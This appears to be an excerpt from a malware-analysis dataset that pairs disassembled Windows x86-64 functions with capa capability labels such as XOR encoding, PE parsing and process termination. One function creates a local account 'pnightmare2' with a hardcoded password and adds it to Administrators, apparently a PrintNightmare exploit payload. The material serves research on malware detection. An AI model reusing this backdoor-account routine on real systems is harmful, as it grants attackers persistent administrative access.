joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400126a0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x1400127f4
cmp r9, 4
jb 0x1400126ea
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x1400126d0
xor r11d, r11d
test r9, r9
je 0x1400127f4
cmp r9, 0x40
jb 0x1400127d3
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x14001271c
cmp rdx, r8
jae 0x1400127d3
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x140012731
cmp rdx, r10
jae 0x1400127d3
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov rsi, r9
and rsi, 0xffffffffffffffc0
mov qword [rsp], rdi
mov rdx, r10
lea rax, [r8 + 0x10]
sub rdx, r8
mov rbx, rcx
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x140012760
mov rsi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x10]
mov rdi, qword [rsp]
cmp r11, r9
jae 0x1400127f4
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x1400127e0
add rsp, 8
ret

Function at 0x140017b5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140017ba6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140017ba6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140017ba6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017ba6
cmp dword [rcx + 0x84], 0xe
jbe 0x140017ba6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140017ba8
xor al, al
add rsp, 0x28
ret

Function at 0x14002d35c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002d14c
Function at 0x1400335c4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400335f4
xor eax, eax
jmp 0x1400336b7
mov rbp, rbx
cmp word [rax], si
je 0x140033619
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140033600
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400335fc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140030aa4
movsxd r14, eax
test eax, eax
jne 0x140033657
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400335ed
mov rcx, r14
call fcn.14002f420
mov rdi, rax
test rax, rax
jne 0x140033670
xor ecx, ecx
call fcn.14002df78
jmp 0x14003364c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140030aa4
test eax, eax
jne 0x1400336a1
mov rcx, rdi
call fcn.14002df78
jmp 0x1400336ab
xor ecx, ecx
call fcn.14002df78
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140038294
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14002a8bc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14003831e
cmp byte [rbp - 0x21], r15b
je 0x140038319
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140038354
call fcn.14002e1cc
test eax, eax
jne 0x140038340
cmp byte [rbp - 0x21], r15b
je 0x140038338
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140038354
cmp byte [rbp - 0x21], r15b
je 0x140038351
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14002c080
test eax, eax
jne 0x1400383f4
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14002a8bc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140038393
cmp byte [rbp - 0x21], r15b
je 0x1400383c8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400383c8
call fcn.14002e1cc
test eax, eax
jne 0x1400383b4
cmp byte [rbp - 0x21], r15b
je 0x1400383ad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400383c8
cmp byte [rbp - 0x21], r15b
je 0x1400383c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14002c080
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400383f4
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400383f7
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140038405
mov rcx, rdi
call fcn.14002df78
cmp byte [rbp + 0x3f], r15b
je 0x140038414
mov rcx, qword [rbp + 0x27]
call fcn.14002df78
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x30], 0x4e4d04ce
mov rax, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rax
shr rdx, cl
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
imul rdx, qword [rsp + 0x30], 0x69992559
cmp rdx, 0x55711975
mov qword [rsp + 0x20], rax
jb 0x1400011eb
jmp 0x1400011eb
cmp qword [rsp + 0x30], 0x7b6b1628
je 0x1400011eb
jmp 0x1400011cb
invalid
invalid

Function at 0x14000118c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x30], 0x4e4d04ce
mov rax, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rax
shr rdx, cl
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
imul rdx, qword [rsp + 0x30], 0x69992559
cmp rdx, 0x55711975
mov qword [rsp + 0x20], rax
jb 0x1400011eb
jmp 0x1400011eb
cmp qword [rsp + 0x30], 0x7b6b1628
je 0x1400011eb
jmp 0x1400011cb
invalid
invalid

Function at 0x1400034f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x38
lea rax, [fcn.1400034f0]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x18], rcx
mov rdx, qword [rsp + 0x18]
shl rdx, cl
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], 0x4ff2a34b
mov qword [rsp + 0x10], rax
jmp 0x14000355b
mov dword [rsp + 0x24], 0xd8b3bf72
mov rax, qword [rsp + 8]
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
je 0x140003598
mov rax, qword [rsp + 0x30]
xor rax, 0xffffffffb00d534b
mov rcx, qword [rsp + 8]
add rcx, rax
and rcx, 0xfffffffffffff000
mov qword [rsp + 0x10], rcx
mov rax, qword [rsp + 0x10]
mov ecx, 0x405892d9
mov edx, 0x27712b95
mov r8d, dword [rsp + 0x24]
mov dword [rsp + 4], ecx
mov ecx, r8d
shr edx, cl
mov dword [rsp + 0x24], edx
mov ecx, dword [rsp + 0x24]
mov edx, dword [rsp + 4]
shr edx, cl
mov dword [rsp + 0x24], edx
cmp word [rax], 0x5a4d
mov qword [rsp + 8], rax
je 0x140003522
jmp 0x14000353c
mov rax, qword [rsp + 8]
add rsp, 0x38
ret
Function at 0x1e53613c4
Capabilities:
Add user account
Add user account to group
Get user security identifier

Disassembly:
push rbp
sub rsp, 0x3b0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x2d0], 0x100
mov dword [rbp + 0x1cc], pe_nt_image_headers64
lea rax, [rbp + 0x2e0]
mov r8d, 0x38
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, str.pnightmare2
mov qword [rbp + 0x2e0], rax
lea rax, str.Test123456789_
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x2f4], 1
mov dword [rbp + 0x308], 0x201
mov qword [rbp + 0x310], 0
lea rax, [rbp + 0x2e0]
mov r9d, 0
mov r8, rax
mov edx, 1
mov ecx, 0
call sym.NetUserAdd
mov dword [rbp + 0x32c], eax
cmp dword [rbp + 0x32c], 0
je 0x1e5361496
mov edx, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov r8d, edx
mov edx, eax
lea rax, str.NetUserAdd_FAIL__d_0x_08x_r_n
mov rcx, rax
call sym.wprintf
mov eax, dword [rbp + 0x32c]
jmp 0x1e53615dc
mov edx, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov r8d, edx
mov edx, eax
lea rax, str.NetUserAdd_OK_r_n
mov rcx, rax
call sym.wprintf
mov rax, qword [rbp + 0x2e0]
lea r8, [rbp + 0x2d0]
lea rcx, [rbp + 0x1d0]
lea rdx, [rbp + 0x2d4]
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x1cc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
call rax
mov dword [rbp + 0x328], eax
cmp dword [rbp + 0x328], 0
jne 0x1e536154c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x324], eax
mov edx, dword [rbp + 0x324]
mov eax, dword [rbp + 0x324]
mov r8d, edx
mov edx, eax
lea rax, str.LookupAccountName_FAIL__d_0x_08x_r_n
mov rcx, rax
call sym.wprintf
mov eax, dword [rbp + 0x324]
jmp 0x1e53615dc
lea rax, [rbp + 0x2d8]
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x2d8], rax
lea rax, [rbp + 0x2d8]
mov dword [rsp + 0x20], 1
mov r9, rax
mov r8d, 0
lea rax, str.Administrators
mov rdx, rax
mov ecx, 0
call sym.NetLocalGroupAddMembers
mov dword [rbp + 0x32c], eax
cmp dword [rbp + 0x32c], 0
je 0x1e53615d7
mov edx, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov r8d, edx
mov edx, eax
lea rax, str.NetLocalGroupAddMembers_FAIL__d_0x_08x_r_n
mov rcx, rax
call sym.wprintf
mov eax, dword [rbp + 0x32c]
jmp 0x1e53615dc
mov eax, 0
add rsp, 0x3b0
pop rbp
ret

Function at 0x1e5361810
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1e5361880
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1e536c064]
mov rbx, rcx
test esi, esi
jle 0x1e53619b0
mov rax, qword [0x1e536c068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1e53618cb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1e5361955
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1e53618b0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1e53619d2
mov rax, qword [0x1e536c068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1e536c068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1e53619b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1e536194e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1e5361960
add dword [0x1e536c064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1e536c068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1e536194e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1e53618d8
mov rax, qword [0x1e536c068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1e5361d50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1e536c0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1e536c080]
test rbx, rbx
je 0x1e5361dac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1e5361da3
test rsi, rsi
je 0x1e5361da3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1e5361d88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1e5361fc0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1e5361fd8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1e5361fe0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1e5361ff0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1e536203d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1e5362034
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1e536203f
add rax, 0x28
cmp rax, r9
jne 0x1e5362020
xor eax, eax
ret

Function at 0x1e5362040
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1e53620d0
mov rdx, qword [0x1e5369750]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1e53620be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1e53620be
cmp word [rax + 0x18], 0x20b
jne 0x1e53620be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1e53620d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1e53620a9
add rbx, 0x28
cmp rbx, rdi
je 0x1e53620d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1e53620a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1e53620e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1e5369750]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1e5362100
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1e5362108
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1e5362100
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1e536215d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1e5362154
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1e5362100
add rax, 0x28
cmp rax, r9
jne 0x1e5362140
xor eax, eax
ret

Function at 0x1e5362160
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1e5369750]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1e536217f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1e5362188
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1e536217f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1e53621a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1e5369750]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1e53621c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1e53621c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1e53621c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1e5362210
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1e5362207
test rcx, rcx
je 0x1e53621c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1e53621f8
xor eax, eax
ret
Function at 0x1e5362220
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1e5369750]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1e536223f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1e5362248
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1e5362260
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1e5369750]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1e5362280
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1e5362288
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1e5362280
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1e5362280
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1e53622d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1e53622e0
add rdx, 0x28
cmp r9, rdx
jne 0x1e53622c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1e53622f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1e5369750]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1e5362312
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1e5362320
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1e5362312
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1e5362312
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1e5362312
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1e5362375
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1e5362388
add rdx, 0x28
cmp rdx, r10
jne 0x1e5362360
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1e5362397
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1e53623a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1e536237e
test ecx, ecx
jg 0x1e5362390
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000d984
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140017850], eax
call fcn.14000d6d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140017850], 0
jne case.default.0x14000d9da
mov ecx, 1
call fcn.14000d6d0
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
mov ebp, 0x94faf28f
in eax, dx
add r12b, byte [rdi]
cmp eax, 0xf9953f84
cwde
imul esp, dword [rbx], 0xffffff8b
mov bl, 0x50
stc
jp 0x140025d5a
and cl, byte [rbx - 0x793f8bbf]
adc eax, 0x8438ddfe
xchg ebp, eax
invalid
Function at 0x140011104
Capabilities:
Terminate process

Disassembly:
jmp 0x140011ed0
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rcx, [0x14005e0a3]
call fcn.140011384
lea rcx, [0x14004e868]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
lea rdx, [0x14004e878]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
movsxd rax, dword [0x14004e860]
mov qword [rbp + 0x118], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, qword [rbp + 0x118]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [rbp + 0x28]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140011f63
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x1400135d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014920
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014940
xor al, al
jmp 0x1400149c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014953
xor al, al
jmp 0x1400149c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001497d
xor al, al
jmp 0x1400149c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014991
xor al, al
jmp 0x1400149c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400149a3
xor al, al
jmp 0x1400149c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400149bf
xor al, al
jmp 0x1400149c1
mov al, 1
add rsp, 0x38
ret